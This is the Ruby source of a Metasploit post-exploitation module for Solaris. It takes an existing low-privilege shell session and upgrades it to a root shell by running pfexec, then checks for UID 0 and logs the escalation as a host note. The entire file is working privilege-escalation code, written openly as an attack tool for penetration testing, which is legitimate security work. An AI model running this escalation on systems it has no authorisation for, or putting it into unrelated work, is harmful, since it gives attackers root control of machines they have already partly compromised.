metasploit-framework/modules/post/solaris/escalate/pfexec.rb

82 lines
2.3 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Solaris::System
include Msf::Post::Solaris::Priv
def initialize(info = {})
super(update_info(info,
'Name' => 'Solaris pfexec Upgrade Shell',
'Description' => %q{
This module attempts to upgrade a shell session to UID 0 using pfexec.
},
'License' => MSF_LICENSE,
'Author' => ['bcoles'],
'Platform' => 'solaris',
'References' =>
[
['URL', 'https://docs.oracle.com/cd/E19253-01/816-4557/prbactm-1/index.html'],
['URL', 'http://www.c0t0d0s0.org/archives/4844-Less-known-Solaris-features-pfexec.html'],
['URL', 'http://solaris.wikia.com/wiki/Providing_root_privileges_with_pfexec']
],
'SessionTypes' => ['shell']
))
register_options [
OptString.new('PFEXEC_PATH', [true, 'Path to pfexec', '/usr/bin/pfexec']),
OptString.new('SHELL_PATH', [true, 'Path to shell', '/bin/sh'])
]
end
def shell_path
datastore['SHELL_PATH'].to_s
end
def pfexec_path
datastore['PFEXEC_PATH'].to_s
end
def run
unless session.type == 'shell'
fail_with Failure::BadConfig, "This module is not compatible with #{session.type} sessions"
end
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless command_exists? pfexec_path
fail_with Failure::NotVulnerable, "#{pfexec_path} does not exist"
end
user = cmd_exec('id -un').to_s
print_status "Trying pfexec as `#{user}' ..."
res = cmd_exec "#{pfexec_path} #{shell_path} -c id"
vprint_status res
unless res.include? 'uid=0'
fail_with Failure::NotVulnerable, "User `#{user}' does not have permission to escalate with pfexec"
end
print_good 'Success! Upgrading session ...'
cmd_exec "#{pfexec_path} #{shell_path}"
unless is_root?
fail_with Failure::NotVulnerable, 'Failed to escalate'
end
print_good 'Success! root shell secured'
report_note(
:host => session,
:type => 'host.escalation',
:data => "User `#{user}' pfexec'ed to a root shell"
)
end
end